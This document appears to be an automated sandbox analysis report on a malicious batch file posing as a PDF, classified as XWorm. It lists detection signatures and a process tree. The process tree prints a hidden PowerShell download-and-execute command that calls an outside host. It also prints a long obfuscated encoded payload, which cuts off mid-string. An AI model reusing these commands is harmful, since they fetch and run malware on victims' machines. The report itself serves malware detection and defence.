Edit tour
Windows
Analysis Report
z1Documents_pdf_.bat
Overview
General Information
| Sample name: | z1Documents_pdf_.bat |
| Analysis ID: | 1625560 |
| MD5: | a4f96058a3e0f23d6c65ea8f77aed774 |
| SHA1: | ad63b439f836177f5a5e39568b98a13e6425f062 |
| SHA256: | cb6b3b83c063bab4e7133104e845a8b9b15c8f7ba123d2203167a9101478e02b |
| Tags: | batuser-Porcupine |
| Infos: |   |
 | |
Detection
XWorm
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Copy file to startup via Powershell
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to log keystrokes (.Net Source)
Creates autostart registry keys with suspicious values (likely registry only malware)
Creates multiple autostart registry keys
Disables UAC (registry)
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Potential dropper URLs found in powershell memory
Sample has a suspicious name (potential lure to open the executable)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: PowerShell DownloadFile
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Uses dynamic DNS services
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Script Run in AppData
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 6764 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\z1Doc uments_pdf _.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6804 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 6936 cmdline: powershell .exe -Wind owStyle hi dden -comm and "[Syst em.Net.Ser vicePointM anager]::S ecurityPro tocol = [S ystem.Net. SecurityPr otocolType ]::Tls12;$ YCEnA; $TD ILN = (New -Object Ne t.WebClien t);$TDILN. Encoding = [System.T ext.Encodi ng]::UTF8; $YCEnA = $ TDILN.Down loadString ( 'https:/ /teldrum.r o//images/ globalx1.v bs' );$dYO sY = [Syst em.IO.Path ]::GetTemp Path() + ' \x.vbs';$Y CEnA | Out -File -Fil ePath $dYO sY; wscrip t.exe //no logo $dYOs Y" MD5: 04029E121A0CFA5991749937DD22A1D9) 
wscript.exe (PID: 2332 cmdline: "C:\Window s\system32 \wscript.e xe" //nolo go C:\User s\user\App Data\Local \Temp\\x.v bs MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 3612 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ hzjmp = 'O w' + [char ]66 + '9AD sAIA' + [c har]66 + ' pAFQAQw' + [char]66 + '2AFgAJA AgAGUAbA' + [char]66 + 'pAEYAL QAgAHMAcw' + [char]6 6 + 'hAHAA eQ' + [cha r]66 + 'CA CAAeQ' + [ char]66 + 'jAGkAbA' + [char]66 + 'vAFAAb g' + [char ]66 + 'vAG kAdA' + [c har]66 + ' 1AGMAZQ' + [char]66 + '4AEUALQ AgAGwAbA' + [char]66 + 'lAGgAc w' + [char ]66 + 'yAG UAdw' + [c har]66 + ' vAHAAOwAgA GUAYw' + [ char]66 + 'yAG8AZgAt ACAAIA' + [char]66 + 'pAFQAQw' + [char]6 6 + '2AFgA JAAgAGgAdA ' + [char] 66 + 'hAFA AZQ' + [ch ar]66 + 's AGkARgAtAC AAZQ' + [c har]66 + ' sAGkARgAtA HQAdQ' + [ char]66 + 'PACAAfAAg AE8AbQ' + [char]66 + 'tAGYAUgA kADsAIAApA CAAJwAxAHM AcAAuADMAM A' + [char ]66 + 'sAG wAZAAnACAA KwAgACkAKA ' + [char] 66 + 'oAHQ AYQ' + [ch ar]66 + 'Q AHAAbQ' + [char]66 + 'lAFQAdA' + [char]6 6 + 'lAEcA OgA6AF0AaA ' + [char] 66 + '0AGE AUAAuAE8AS QAuAG0AZQ' + [char]6 6 + '0AHMA eQ' + [cha r]66 + 'TA FsAIAAoACA APQAgAGkAV A' + [char ]66 + 'DAH YAWAAkADsA IAAnADsAKQ AgACkAIAAn ACcAbQ' + [char]66 + 'zAGEAZw' + [char]6 6 + 'lAHIA XAA5ADEAMw AwADMALgAw AC4ANA' + [char]66 + '2AFwAaw' + [char]6 6 + 'yAG8A dw' + [cha r]66 + 'lA G0AYQ' + [ char]66 + 'yAGYAXA' + [char]66 + '0AGUAb gAuAHQAZg' + [char]6 6 + 'vAHMA bw' + [cha r]66 + 'yA GMAaQ' + [ char]66 + 'tAFwAcw' + [char]66 + '3AG8AZ A' + [char ]66 + 'uAG kAdw' + [c har]66 + ' cADoAYw' + [char]66 + 'EAEQAIA ' + [char] 66 + 'EACc AJwAgACwAI AAnACcAJQ' + [char]6 6 + 'JAGgA cQ' + [cha r]66 + 'SA FgAJQAnACc AIAAsACAAJ wAnAGgAdA' + [char]6 6 + '0AHAA cwA6AC8ALw ' + [char] 66 + '0AGU AbA' + [ch ar]66 + 'k AHIAdQ' + [char]66 + 'tAC4Acg' + [char]6 6 + 'vAC8A Lw' + [cha r]66 + 'pA G0AYQ' + [ char]66 + 'nAGUAcwAv AGcAbA' + [char]66 + 'vAGIAYQ' + [char]6 6 + 'sAHgA MQAuAGoAcA ' + [char] 66 + 'nACc AJwAgACgAI A' + [char ]66 + 'dAF 0AWw' + [c har]66 + ' 0AGMAZQ' + [char]66 + 'qAGIAbw ' + [char] 66 + 'bACA ALAAgAGwAb A' + [char ]66 + '1AG 4AJAAgACgA ZQ' + [cha r]66 + 'rA G8Adg' + [ char]66 + 'uAEkALgAp ACAAJwAnAE kAVg' + [c har]66 + ' GAHIAcAAnA CcAIAAoAGQ Abw' + [ch ar]66 + 'o AHQAZQAnAC AAPQArACAA Tw' + [cha r]66 + 'tA G0AZg' + [ char]66 + 'SACQAOwAg ACcATQ' + [char]66 + '0AGUARwA uACkAIAAnA CcAMQ' + [ char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAL gAzAHkAcg' + [char]6 6 + 'hAHIA Yg' + [cha r]66 + 'pA EwAcw' + [ char]66 + 'zAGEAbA' + [char]66 + 'DACcAJ wAgACgAZQ' + [char]6 6 + 'wAHkA VA' + [cha r]66 + '0A GUARwAnACA APQArACAAT w' + [char ]66 + 'tAG 0AZg' + [c har]66 + ' SACQAOwAgA CcALgApACA Acg' + [ch ar]66 + 'G AGQAWQ' + [char]66 + 'SACQAIAA oAGQAYQ' + [char]66 + 'vAEwALg ' + [char]